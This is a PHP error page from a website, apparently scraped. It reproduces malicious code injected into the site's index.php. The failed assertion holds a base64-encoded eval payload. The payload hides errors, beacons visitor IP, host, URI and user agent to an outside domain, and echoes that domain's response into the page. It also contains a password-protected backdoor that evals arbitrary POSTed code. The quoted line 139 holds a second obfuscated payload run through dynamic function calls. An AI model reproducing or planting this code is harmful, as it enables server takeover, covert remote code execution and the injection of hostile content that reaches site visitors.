  Error: assert(): Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /sata2/home/users/ukrlegion/www/www.ukrlegion.com/index.php 
  Line: 139 
  Line 139 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0,0121 s(22 Requests)
  PHP: 1,1987 s 
  Total: 1,2108 s